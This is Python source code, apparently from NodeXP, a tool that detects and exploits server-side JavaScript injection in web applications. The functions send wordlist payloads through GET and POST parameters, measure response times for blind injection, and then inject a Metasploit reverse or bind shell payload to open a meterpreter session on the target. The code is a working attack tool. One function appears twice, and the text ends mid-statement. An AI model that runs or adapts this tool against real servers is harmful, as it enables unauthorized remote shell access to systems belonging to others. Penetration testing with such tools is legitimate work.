def read_spool(): # Read spool file untill metasploit session made.. # keyword = False try: counter = 0 with open(settings.spool_file, 'r') as spool: message = Fore.YELLOW + "\n[i] Waiting for Metasploit to be ready!" verbosity.print_message(message, settings.print_info) while not 'Started reverse TCP handler on %s:%s' % ( settings.lhost, settings.lport) in spool.read(): spool.seek(0, 0) message = Fore.YELLOW + "..." verbosity.print_message(message, settings.print_info) sleep(5) counter += 1 if counter > 10: exit( Fore.RED + "[!] ERROR: Waiting for connection response timeout. The given IP address might be wrong. Check the metasploit terminal window (msfconsole) for possible errors." ) print(Fore.GREEN + "[i] Metasploit is ready!\n" + Fore.YELLOW + "[i] Waiting for payload to be uploaded..") return True except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) return False
def change_technique(prompt_message, options_message, alter_tech_msg, current_tech_msg): try: if settings.print_info == 1: prompt_message += options_message answer = prompt.yesOrNo(prompt_message, alter_tech_msg, current_tech_msg) print answer[0] # Change technique if answer[1] == 1: if settings.technique == 'result': settings.technique = 'blind' else: settings.technique = 'result' return True # Remain on same technique elif answer[1] == 0: return False else: return prompt.yesOrNo(prompt_message, current_tech_msg, alter_tech_msg) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def make_request(parameter): # Do request below.. try: # With or without cookies, GET or POST cases blended! :) if settings.request_method == 1: # POST request request = urllib2.Request(settings.url,data=parameter,headers={'Cookie':settings.cookie}) else: # GET request request = urllib2.Request(parameter,headers={'Cookie':settings.cookie}) html = urllib2.urlopen(request).read() html_soup = BeautifulSoup(html, "html.parser") html_redirection_object = urllib2.urlopen(request) html_prettify = html_soup.prettify() return html,html_redirection_object,html_prettify,html_soup except HTTPError as e: status = e.getcode() # ERROR on exploitation process. Cannot exploit! if settings.exploitation_state == 1: print (Fore.RED + '\n[!] Server respond with status %d to your request. Website seems vulnerable but can not be exploited. Try again.'%(status)) sys.exit() # ERROR on any other case.. settings.request_error = 1 # Print info.. print (Fore.YELLOW + '\n[!] Server respond with status %d to your request with payload \' %s \'. Not sure if website is vulnerable or not.'%(status,parameter)) print (Fore.RED + "[!] WARNING: The server couldn\'t fulfill the request! First of all, check if the given URL is correct. In case you injected any payload on your request, server seems to interact with it so, it might be vulnerable. In this case check payload txt files for syntax errors and try again. Else, service might be down or .") ''' # Ask for blind and act accodingly.. blind = change_technique(settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() ''' # Else return and continue searching for poc! html = e.read() html_soup = BeautifulSoup(html, "html.parser") html_prettify = html_soup.prettify() html_redirection_object = e return html,html_redirection_object,html_prettify,html_soup except httplib.BadStatusLine as e: error_message = e.args print(Fore.RED + "[!] ERROR: [%s]\n[!] MORE INFO: Server might be down or cannot successfully parse your request! Check your txt payload for syntax errors, change injection technique or simply try again later" %error_message) settings.request_error = 1 except URLError as e: error_message = e.args print(Fore.RED + "[!] ERROR: [%s]\n[!] MORE INFO: Server might be down! Check your txt payload for syntax errors, change injection technique or simply try again later" %error_message) #verbosity.error_info(error_message) settings.request_error = 1 return 0 except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def exploitation_options(msg,error_msg): option = str(raw_input(msg)) try: if option == '1': read_file = upload.read_file() read_spool = upload.read_spool() if read_spool == True: message = Fore.GREEN + '[!] Metasploit is already set. Uploading reverse shell payload!' verbosity.print_message(message, settings.print_info) # Initialize payload # GET case initalize payload if settings.request_method == 0: url = settings.pre_url + '?' + settings.initial_inject_here settings.reverse_shell_payload = urllib.quote(settings.reverse_shell_payload) parameter = url.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) # POST case initialize payload else: parameter = settings.initial_inject_here.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) settings.exploitation_state = 1 interfaces.make_request(parameter) # .. wait until spool is ready and upload payload... # Started reverse TCP handler on print(Fore.GREEN + '[i] Successfully uploaded payload, check msfconsole for meterpreter shell :)') exit(Fore.GREEN + "[i] Quiting 'Nodexp'") elif option == '2': exit(Fore.GREEN + "[i] Quiting 'Nodexp'") else: print(error_msg) return exploitation_options(msg,error_msg) except Exception as e: print(Fore.RED + '[!] ERROR: %s' %e) verbosity.error_info(e)
def exploitation_options(msg,error_msg): option = str(raw_input(msg)) try: if option == '1': read_file = upload.read_file() read_spool = upload.read_spool() if read_spool == True: message = Fore.GREEN + '[!] Metasploit is already set. Uploading the shell payload!' verbosity.print_message(message, settings.print_info) # Initialize payload # GET case initalize payload if settings.request_method == 0: url = settings.pre_url + '?' + settings.initial_inject_here settings.reverse_shell_payload = urllib.quote(settings.reverse_shell_payload) #print settings.reverse_shell_payload parameter = url.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) print parameter # POST case initialize payload else: parameter = settings.initial_inject_here.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) settings.exploitation_state = 1 # .. wait until spool is ready and upload payload... # Reverse shell... if settings.msf_payload != settings.msf_payload_bind: interfaces.make_request(parameter) # Bind shell... if settings.msf_payload == settings.msf_payload_bind: if settings.request_method == 0: # Request with payload (GET) payload_request = urllib2.Request(parameter) urllib2.urlopen(payload_request) else: # Request with payload (POST) payload_request = urllib2.Request(settings.url,data=parameter) urllib2.urlopen(payload_request) # Do the request to RHOST rhost_port = settings.prefix_rhost + ":" + settings.lport bind_request = urllib2.Request(rhost_port) urllib2.urlopen(bind_request) # Started TCP handler on print(Fore.GREEN + '[i] Successfully uploaded payload! In case of reverse shell, an upgraded meterpreter shell is successfully established :)') exit(Fore.GREEN + "[i] Quiting 'Nodexp'") elif option == '2': exit(Fore.GREEN + "[i] Quiting 'Nodexp'") else: print(error_msg) return exploitation_options(msg,error_msg) except Exception as e: print(Fore.RED + '[!] ERROR: %s' %e) verbosity.error_info(e)
def check_redirection_with_valid_parameters(): redirections_sum = 0 counter = 0 try: while counter < 3: # one for each input case if settings.request_method == 1: # init valid POST parameters for request parameter = settings.pdata parameter = parameter.replace( settings.inject_here_replace, settings.valid_input_values[counter]) request = urllib2.Request(settings.url, data=parameter, headers={'Cookie': settings.cookie}) else: # Init valid GET parameters for request url = settings.url.replace( settings.inject_here_replace, settings.valid_input_values[counter]) settings.url = url parameter = url request = urllib2.Request(parameter, headers={'Cookie': settings.cookie}) if counter == 0: message = Fore.YELLOW + '\n[<] Checking for redirection with valid parameter: \n(' + parameter + ')' verbosity.print_message(message, settings.print_info) else: message = Fore.YELLOW + '\n[-] Checking for redirection with valid parameter: \n(' + parameter + ')' verbosity.print_message(message, settings.print_info) # Check for valid redirection redirection = interfaces.check_redirection( urllib2.urlopen(request), settings.technique) # Initialize url and post data #settings.url = settings.initial_parameter if redirection == 1: redirections_sum += 1 elif redirection == 0: settings.valid_parameters = parameter message = Style.DIM + '[i] No redirection with valid parameter (' + parameter + ').' + Style.NORMAL + Fore.YELLOW + '\n[>]' verbosity.print_message(message, settings.print_info) counter += 1 if redirections_sum > 2: return False else: return True except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) sys.exit()
def initialize_input(args): try: # Printing arguments settings.print_info = args.print_info settings.print_diff = args.diff # Initial detection arguments settings.url = format(args.url) if args.post_data != None: settings.pdata = format(args.post_data) if args.cookies != 'None': settings.cookie = format(args.cookies) if args.technique != 'None': settings.technique = format(args.technique) verbosity.print_message( Fore.GREEN + Style.BRIGHT + '[i] Injection technique set to "%s based"' % (settings.technique), settings.print_info) # Results based injection arguments settings.rand = format(args.rand) settings.dig = format(args.dig) settings.initialize_rands() # Blind injection arguments settings.time_threshold = args.time_threshold # --> #time# in dictionary settings.loop = args.loop settings.elen = args.elen settings.nlen = args.nlen settings.clen = args.clen settings.initialize_blind_rands() settings.margin_factor = args.time_factor settings.validation_loop = args.validation_loop # Exploitation arguments settings.payload_path = args.payload_path settings.rc_path = args.rc_path # Initialize exploitation paths if settings.payload_path == 1: settings.payload_path = settings.cwd + '/scripts' if settings.rc_path == 1: settings.rc_path = settings.cwd + '/scripts' settings.lhost = str(args.lhost) settings.lport = str(args.lport) settings.encoding[0] = args.encode #[future work] Additional attacks.. # settings.include = format(args.include) #if args.exclude != 'None': # settings.exclude = format(args.exclude) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def read_file(): # Read payload and put it on a global variable.. try: with open(settings.payload_path, 'r') as myfile: settings.payload = myfile.read() return True except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) return False
def checkPathExistence(path,flag): try: # Valid local path accepted path = re.sub(r"\/+", "/", path) if os.path.exists(path) == True: return path # Invalid local path.. # .. check if path exists in home directory else: print(Fore.RED + "[!] ERROR: '%s' is not a valid path for '%s'" %(flag,path)) home_directory_path = checkPathExistenceInHomeDirectory(flag,path) return home_directory_path except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def initialize_path_functions(input_answer,msflag): try: # Check local path existence.. path = checkPathExistence(input_answer,msflag) # Path does not exist.. # .. give default choices or retype path.. while path == 'None': options = raw_input("[?] Do you want to retype path or give one of the defaults [~/, ~/Desktop, ~/Documents]?\n" + Fore.YELLOW + "[i] (Press: 1,2,3 for defaults accordingly or type the new path)\n" + Fore.WHITE + " - ") path = pathExistenceOptions(options,path,msflag) message = (Fore.GREEN + "[!] Setting path: '%s' = '%s'" %(msflag,path)) verbosity.print_message(message, settings.print_info) return path except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def start_detection(): # GET AND POST CASES BLENDED! # Results Based Technique try: if settings.inject_here_replace in settings.inject_here: try_counter = 1 # Parameter with and without payload for each detection case initial_data = settings.url initial_inject_here = settings.inject_here # Parse wordlist and initialize payloads parse_wordlist(try_counter, initial_data, initial_inject_here) else: sys.exit('ERROR: [INJECT_HERE] not found on your input! > %s' % settings.inject_here) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def check_redirection(res, tech): try: # Do not show this message everytime you make a request on blind injection if tech != 'blind': message = Fore.YELLOW + '\n[<] Checking for redirection' verbosity.print_message(message, settings.print_info) # Redirection made # Ask to follow.. if res.url != settings.url: message = Fore.RED + Style.BRIGHT + '[!] WARNING: REDIRECTION FOUND!\n' + Style.NORMAL + Fore.WHITE + " from: " + Fore.GREEN + Style.BRIGHT + settings.url + "\n" + Style.NORMAL + Fore.WHITE + " to: " + Fore.RED + Style.BRIGHT + res.url print message # Ask to quit prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Do you want to follow redirection?\n" options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" if settings.print_info == 1: prompt_message += options_message error_msg = Fore.RED + '[-] Not follow redirection.' continue_msg = Fore.WHITE + Style.NORMAL + '[-] Follow redirection.' answer = prompt.yesOrNo(prompt_message, continue_msg, error_msg) verbosity.print_message(answer[0], settings.print_info) settings.follow_redirection = 1 # If follow redirection if answer[1] == 1: settings.url = res.url settings.pre_url = settings.url if settings.technique != 'blind': message = Style.NORMAL + Fore.YELLOW + '[>]' verbosity.print_message(message, settings.print_info) # No redirection else: if tech != 'blind': message = Style.DIM + Fore.WHITE + '[-] No redirection made.' #\n' + Fore.YELLOW + Style.NORMAL + '[>]' verbosity.print_message(message, settings.print_info) settings.follow_redirection = 0 return settings.follow_redirection except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) sys.exit()
def init(): try: # Parse input user_input = flags_init.parse_input() # Show nodexp message graphics.ascii_art() # Global settings initialization & input initialization settings.init() flags_init.initialize_input(user_input) message = (Fore.WHITE + Style.DIM + "[-] Check and initialize input values") verbosity.print_message(message, settings.print_info) # Initialize input based on request method (GET or POST) flags_init.request_method() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def check_keywords_before_injection(simple_urlopen): message = Fore.YELLOW + '[>]\n\n[<] Check response for expected keywords on valid request (false positives) :' verbosity.print_message(message, settings.print_info) try: if settings.responded_keys: del settings.responded_keys[:] for keyword in settings.expected_responses: if keyword in simple_urlopen: settings.responded_keys.append(keyword) if settings.responded_keys: print Fore.RED + Style.BRIGHT + '[!] WARNING: EXCPECTED HTML RESPONSE CONTAINS MATCHING KEYWORD(S) BEFORE INJECTION!\n' + Style.NORMAL + Fore.WHITE + '[i] Expected response\'s matching keyword(s) (%s) found on page when valid request made; without injecting any payload. This might lead to false conclusions (false positives)! Blind injection technique might be more accurate in this case.' % list( settings.responded_keys) return True else: message = Fore.WHITE + Style.DIM + '[-] No keywords found.' #\n' + Fore.YELLOW + Style.NORMAL + '[>]' verbosity.print_message(message, settings.print_info) return False except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def checkPathExistenceInHomeDirectory(flag,path): try: print(Fore.YELLOW + "[i] Checking if path exist in home directory ...") path = "%s/%s" %(settings.home_directory,path) first_check = os.path.exists(path) # Valid home directory path.. if first_check == True: home_directory_select = prompt.yesOrNo("[?] Did you mean '%s' ?\n"%path + Fore.YELLOW + "[i] Enter 'y' for 'yes' or 'n' for 'no'.\n" + Fore.WHITE + " - ", Fore.GREEN + "[!] Setting path: '%s' = '%s'" %(flag,path), Fore.RED + "[!] Not setting path '%s' for '%s'" %(path,flag)) # Valid home directory path accepted if home_directory_select[1] == 1: return path # Valid home directory path NOT accepted else: return 'None' # Invalid home directory path.. else: print(Fore.RED + "[!] ERROR: '%s' is not a valid path for '%s'" %(path,flag)) return 'None' except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def get_input(msg,flag): input_answer = raw_input(msg) for msflag in settings.exploitation_flags: if msflag in flag: try: input_case = settings.exploitation_flags.index(msflag) if input_case == 0: lport = checkLPORT(input_answer) return lport elif input_case == 1: lhost = checkLHOST(input_answer) return lhost elif input_case == 2 or input_case == 3: path = initialize_path_functions(input_answer,msflag) return path else: print(Fore.RED + "[!] ERROR: Unknown case!") exit() # exception handling except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e)
def pathExistenceOptions(options,path,flag): # Default cases 1,2,3 ... if options == '1': try: path = settings.home_directory return path except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e) elif options == '2': try: path = "%s/Desktop" %(settings.home_directory) check = os.path.exists(path) if check == True: return path else: exit(Fore.RED + "[!]ERROR: Default path does not exist!") except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e) elif options == '3': try: path = "%s/Documents" %(settings.home_directory) check = os.path.exists(path) if check == True: return path else: exit(Fore.RED + "[!]ERROR: Default path does not exist!") except Exception as e: print(Fore.RED + "[!] ERROR: %s" %e) verbosity.error_info(e) # Retype path case... else: # Setting new path.. # ..Start over with options = path value path_full_existense = checkPathExistence(options,flag) return path_full_existense
def request_method(): try: #POST & POST with GET PARAMETERS BLENDED! if settings.pdata != 'None': message = (Fore.GREEN + Style.BRIGHT + '[i] POST data found!') verbosity.print_message(message, settings.print_info) #tempurl_array = settings.url.split("/") # check if both get and post inserted if "?" in settings.url: # Ask to remove query parameter(s) prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Query parameter(s) found on POST request. Do you want to remove query request(s) from URL?\n" options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" if settings.print_info == 1: prompt_message += options_message yes_message = Style.DIM + Fore.WHITE + "[-] Removing query parameters." no_message = Style.DIM + Fore.WHITE + "[-] Continue with query parameters." answer = prompt.yesOrNo(prompt_message, yes_message, no_message) # Remove case if answer[1] == 1: tempurl_array = settings.url.split("?") url_length = len(tempurl_array) - 1 edited_url = concat_url(url_length, tempurl_array) settings.url = edited_url print answer[0] message = ( Fore.WHITE + Style.DIM + '[-] Will execute POST REQUESTS on "%s" with POST DATA "%s"' % (settings.url, settings.pdata)) verbosity.print_message(message, settings.print_info) # URL - (pre_url and url are the same on post scenario) settings.pre_url = settings.url # inject_here and pdata are the same on post scenario settings.initial_inject_here = settings.pdata settings.inject_here = settings.pdata settings.initial_parameter = settings.pdata settings.request_method = 1 #GET else: # split get parameters from url print(Fore.GREEN + Style.BRIGHT + '[i] GET parameter found!') message = (Style.DIM + Fore.WHITE + '[-] Will execute GET REQUESTS on "' + settings.url + '".') verbosity.print_message(message, settings.print_info) tempurl_array = settings.url.split("?") # URL without the get parameters settings.pre_url = tempurl_array[0] # GET parameters - with [INJECT_HERE] settings.initial_inject_here = tempurl_array[1] settings.inject_here = tempurl_array[1] # Whole URL - with [INJECT_HERE] settings.initial_parameter = settings.url settings.pdata = settings.initial_parameter settings.request_method = 0 except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def parse_input(): try: parse = argparse.ArgumentParser( add_help=False, description= "Arguments Help Manual For NodeXP - Server Side Javascript Injection Tool" ) # Initial detection arguments initial = parse.add_argument_group('Initial arguments') initial.add_argument( '--url', '-u', dest='url', action='store', required=True, help= 'Enter the desirable URL. If it has GET parameters enter "[INJECT_HERE]" on the parameter you want to inject on the --url. If it uses POST data then you have to use --pdata flag. \n -u="http://test.com/?parameter=[INJECT_HERE]"' ) initial.add_argument( '--pdata', '-p', dest='post_data', action='store', help= 'Enter the POST data and place "[INJECT_HERE]" on the parameter you want to inject on. \n-p="parameter=[INJECT_HERE]"' ) initial.add_argument('--cookies', '-c', dest='cookies', action='store', help='Enter cookies on your request headers.') initial.add_argument( '--tech', '-t', dest='technique', action='store', choices=['blind', 'result'], default='result', help= 'Select an injection technique between blind injection and results based injection. Keys: blind, result. Default value = result' ) # Results based injection arguments results = parse.add_argument_group('Results based injection arguments') results.add_argument( '--rand', '-r', dest='rand', action='store', choices=['char', 'num', 'all'], default='char', help= 'Select the type of random generated string between characters only, numbers only or both. Keys: char, num, all. Default value = char' ) results.add_argument( '--digits', '-d', dest='dig', action='store', type=int, choices=range(16, 48), metavar="[16-48]", default=16, help= 'Enter the number of digits or chars of the random generated string, between 16 to 48. Default value = 16' ) # Blind based injection arguments blind = parse.add_argument_group('Blind injection arguments') blind.add_argument( '--time', '-time', dest='time_threshold', action='store', type=int, choices=range(100, 20000), metavar="[100-20000]", default=250, help= "Time threshold on blind injection in millieseconds. Default value = 250" ) blind.add_argument( '--loop', '-l', dest='loop', action='store', type=int, choices=range(1, 1000), metavar="[1-1000]", default=10, help= "Number of requests done to specify the average response time. Be careful, big values may be considered as brute force or dos attacks by website. Default value = 10" ) blind.add_argument( '--email_length', '-elen', dest='elen', action='store', type=int, choices=range(1, 24), metavar="[1-24]", default=9, help= "Length of the characters given as input to the vulnerable parameter, ex. email='*****@*****.**'. Default value = 9" ) blind.add_argument( '--num_length', '-nlen', dest='nlen', action='store', type=int, choices=range(1, 10), metavar="[1-10]", default=2, help= "Length of the characters given as input to the vulnerable parameter. ex. tel=2102589834. Default value = 2" ) blind.add_argument( '--char_length', '-clen', dest='clen', action='store', type=int, choices=range(1, 40), metavar="[1-40]", default=10, help= "Length of the characters given as input to the vulnerable parameter. ex. input='My Surname'. Default value = 10" ) blind.add_argument( '--time_factor', '-time_factor', dest='time_factor', action='store', type=restricted_float, default=2, metavar="[1.0-4.0]", help="Time factor for minimum time threshold. Default value = 2") blind.add_argument( '--valid_loop', '-valid_loop', dest='validation_loop', action='store', type=int, choices=range(5, 100), default=10, metavar="[2-100]", help= "Number of requests done to specify the validity of the blind injection results. Be careful, big values may be considered as brute force or dos attacks by webservers. Default value = 10" ) # Exploitation arguments exploit = parse.add_argument_group('Exploitation arguments') exploit.add_argument( '--payload_path', '-pp', dest='payload_path', action='store', type=int, choices=[0, 1], default=1, help= 'Set payload path to default or type new payload path later. The payload name will be \'nodejs_payload.js\'. Default value = 1 (cwd/scripts/)\nex. -pp=1' ) exploit.add_argument( '--rc_path', '-rp', dest='rc_path', action='store', type=int, choices=[0, 1], default=1, help= 'Set .rc script path to default or type new .rc script path later. The .rc script name will be \'nodejs_shell.rc\' Default value = 1 (cwd/scripts/)\nex. -rp=1"' ) #exploit.add_argument('--rhost', '-rh', dest='rhost', action='store', help='Remote host ip address (bind shell case).\nex. -rh="192.168.1.1"') exploit.add_argument( '--lhost', '-lh', dest='lhost', action='store', help= 'Local host ip address (bind shell case).\nex. -lh="192.168.1.1"') exploit.add_argument('--lport', '-lp', dest='lport', action='store', help='Ip address port number.\nex. -lp="6666"') exploit.add_argument( '--encode', '-enc', dest='encode', action='store', type=int, choices=[0, 1], default=1, help='Encoding on your payload. Default value = 0\nex. -enc=1') exploit.add_argument( '--shell', '-sh', dest='shell', action='store', choices=['reverse', 'bind', 'ssl'], default='reverse', help= 'Select an option between reverse, bind and ssl shell. Keys: reverse, bind, ssl. Default value = reverse\nex. -sh=bind' ) # Printing arguments printing = parse.add_argument_group('Printing arguments') printing.add_argument( '--diff', '-diff', dest='diff', action='store', type=int, choices=[0, 1], default=1, help= "Print the HTML differences of the responses between valid and malicious requests. Default value = 1" ) printing.add_argument('--info', '-info', dest='print_info', action='store', type=int, choices=[0, 1], default=1, help="Print additional info. Default value = 1") # Other arguments other = parse.add_argument_group('Other arguments') other.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.') #other.add_argument('-f', '-superfast', dest='superfast', action='store', type=int, choices=[0, 1], default=0, help="Execute detection and exploitation functions and try for meterpreter shell with minimum feedback to the user.") #[future work] Additional attacks.. # Remove this parameter #parse.add_argument('--inc', '-i', dest='include', action='store', choices=['SSJI','XSS','REGEXDOS','COMMAND_INJECTION','HPP','DOS','BRUTE_FORCE','all'], default='SSJI', help='Enter the desirable Attack that you want to include. If you want to include all the attacks then enter --inc=all . \nAvailable attacks: Server Side Javascript Injection, Cross Site Scripting, Regural Expresion DOS, Command Injection-OS Injection, HTTP Pollution, DOS, Brute force. \nKeys: SSJI,XSS,REGEXDOS,COMMAND_INJECTION,HPP,DOS,BRUTE_FORCE. \nDefault Attack: SSJI.') # Remove this parameter #parse.add_argument('--exc', '-x', dest='exclude', action='store', choices=['SSJI','XSS','REGEXDOS','COMMAND_INJECTION','HPP','DOS','BRUTE_FORCE','all'], help='Enter the desirable Attack that you want to exclude. If you want to exclude all the attacks then enter --exc=all . \nAvailable attacks: Server Side Javascript Injection, Cross Site Scripting, Regural Expresion DOS, Command Injection-OS Injection, HTTP Pollution, DOS, Brute force. \nKeys: SSJI,XSS,REGEXDOS,COMMAND_INJECTION,HPP,DOS,BRUTE_FORCE. \nDefault Attack: SSJI.') #printing.add_argument('--debug', '-debug', dest='debug_msgs', action='store', type=int, choices=[0, 1], default=0, help="Print debug info. Default value = 0") #printing.add_argument('--progress', '-prog', dest='prog_msgs', action='store', type=int, choices=[0, 1], default=1, help="Print tools progress info. Default value = 1") args = parse.parse_args() return args except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def compute_average_request_time(loop, payload_type): amount = 0 # Print for request with payload if payload_type == 'malicious': if settings.request_method == 0: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' % (settings.pre_url + '?' + settings.pdata)) verbosity.print_message(message, settings.print_info) else: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) # Print for valid request elif payload_type == 'valid': if settings.request_method == 0: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) else: message = ( Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' % settings.pdata) verbosity.print_message(message, settings.print_info) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) for index in range(loop): if settings.request_method == 0: #GET case # Valid request settings if payload_type == 'valid': post_request = urllib2.Request( settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 0 # Request with payload settings elif payload_type == 'malicious': url = settings.pre_url + '?' + settings.pdata settings.url = url post_request = urllib2.Request( url, headers={'Cookie': settings.cookie}) blind_injection_flag = 1 # Check also for redirection for malicious request if index < 1: interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) else: #POST case # Valid request case if payload_type == 'valid': #request_time = requests.post(settings.pre_url, data=settings.pdata).elapsed.total_seconds() post_request = urllib2.Request( settings.pre_url, data=settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 0 # Request with payload case elif payload_type == 'malicious': #request_time = requests.post(settings.pre_url, data=settings.pdata, cookies={'Cookie':settings.cookie}).elapsed.total_seconds() post_request = urllib2.Request( settings.pre_url, data=settings.pdata, headers={'Cookie': settings.cookie}) blind_injection_flag = 1 # Check also for redirection for malicious request if index < 1: interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) else: raise Exception( Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.' ) try: start_time = time.time() html = urllib2.urlopen(post_request).read() end_time = time.time() - start_time request_time = end_time except HTTPError, e: print '[i] ERROR: The server couldn\'t fulfill the request! First of all, check if the given URL is correct. In case you injected any payload on your request, server seems to interact with it so, it might be vulnerable. In this case check payload txt files for syntax errors and try again. Else, service might be down.' print '[i] ERROR: %s' % e verbosity.error_info(e) html = e.read() #print html blind_injection_flag = 0 continue message = Style.DIM + "[-] Request no. %s -> %f seconds" % ( index, request_time) verbosity.print_message(message, settings.print_info) if blind_injection_flag == 1: check_blind_injection(request_time) amount += request_time
def blind_injection(): try: if settings.inject_here_replace in settings.inject_here: print(Fore.YELLOW + Style.BRIGHT + '\nStarting preparation..') # Check redirection with valid parameters (e-mail, num, character) continue_process = check_redirection_with_valid_parameters() if continue_process != True: print( Fore.RED + "[!] ERROR: All requests got redirected and did not get followed. Maybe url is invalid or you have no access to this url (set the diserable cookie in this case) or simply follow redirection." ) # Compute average request time based on three valid input values (string,num,email) and define threshold average_time_based_on_input_type = [] for valid_value in range(0, 3): # Initialize vars with random input values settings.pdata = settings.pdata.replace( settings.inject_here_replace, settings.valid_input_values[valid_value]) compute_average_request_time(settings.validation_loop, 'valid') average_time_based_on_input_type.append( settings.average_request_time) settings.pdata = settings.initial_parameter # Get the maximux out of averages settings.average_request_time = max( average_time_based_on_input_type) # Set threshold settings.minimum_time_threshold = define_time_threshold() # Start parsing txt file with payloads! total_line_count = sum( 1 for line in open(settings.blind_ssji_wordlist)) print(Fore.YELLOW + Style.BRIGHT + '\nStarting Blind Injection Technique') message = Style.DIM + '\n[-] Searching for SSJI vulnerabilities...' verbosity.print_message(message, settings.print_info) try_counter = 1 initial_data = settings.url initial_inject_here = settings.inject_here settings.initial_inject_here = initial_inject_here for index in xrange(1, total_line_count, 2): if settings.break_blind == 0: # Initialize url and data for each new payload.. settings.url = initial_data settings.inject_here = initial_inject_here # Get the payload from the file mal_code = linecache.getline(settings.blind_ssji_wordlist, index).rstrip() if mal_code == '---end' or mal_code == '': print( Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.' ) break if settings.request_method == 1: # POST CASE settings.inject_here = settings.inject_here.replace( settings.inject_here_replace, mal_code, 1) settings.pdata = settings.inject_here else: # GET CASE # Unquote just in case that is already percent encoded (URL encoded) and then ... mal_code = urllib.unquote(mal_code) # ... percent encode for GET requests percent_encoded_data = interfaces.percent_encoding( mal_code) settings.percent_encoded_URL = percent_encoded_data settings.inject_here = settings.percent_encoded_URL settings.pdata = settings.percent_encoded_URL # Initialize blind injection payload blind_replacer(settings.minimum_time_threshold) decimal = 0 # Start randomizing payload if settings.blind_wildcard == 1: for case in range(0, 3): # Attack! decimal += 1 settings.pdata = settings.blind_injection_cases[ case] # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) compute_average_request_time( settings.loop, 'malicious') if settings.break_blind == 1: break else: # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) compute_average_request_time(settings.loop, 'malicious') try_counter += 1 else: break else: sys.exit('ERROR: [INJECT_HERE] not found on your input! > %s' % settings.inject_here) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def parse_wordlist(try_counter, initial_data, initial_inject_here): try: text_loop = xrange(1, settings.total_line_count, 2) for index in text_loop: # Re initialize url if not follow redirection if settings.follow_redirection == 0: settings.url = initial_data settings.inject_here = initial_inject_here payload = linecache.getline(settings.ssji_wordlist, index).rstrip() # Exit when no more payloads on wordlist if payload == '---end' or payload == '': print( Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.' ) sys.exit() break # Get static expected responses expected_response = linecache.getline(settings.ssji_wordlist, index + 1).rstrip() settings.expected_responses = expected_response.split(',') settings.expected_responses.extend(settings.error_responses) # Create randomized payload variables and it's dymamic expected response accordingly randomized_data = randomizer(payload, settings.expected_responses) payload = randomized_data[0] expected_response = randomized_data[1] # Initialize payload settings.inject_here = settings.inject_here.replace( '[INJECT_HERE]', payload, 1) #settings.pdata = settings.inject_here parameter = settings.inject_here # GET case initalize payload if settings.request_method == 0: settings.url = settings.url.replace('[INJECT_HERE]', urllib.quote(payload), 1) parameter = settings.url # Message for each injection print('\n%s' % settings.hr) print('[i] Try no. ' + format(try_counter) + Fore.GREEN + Style.BRIGHT + ' 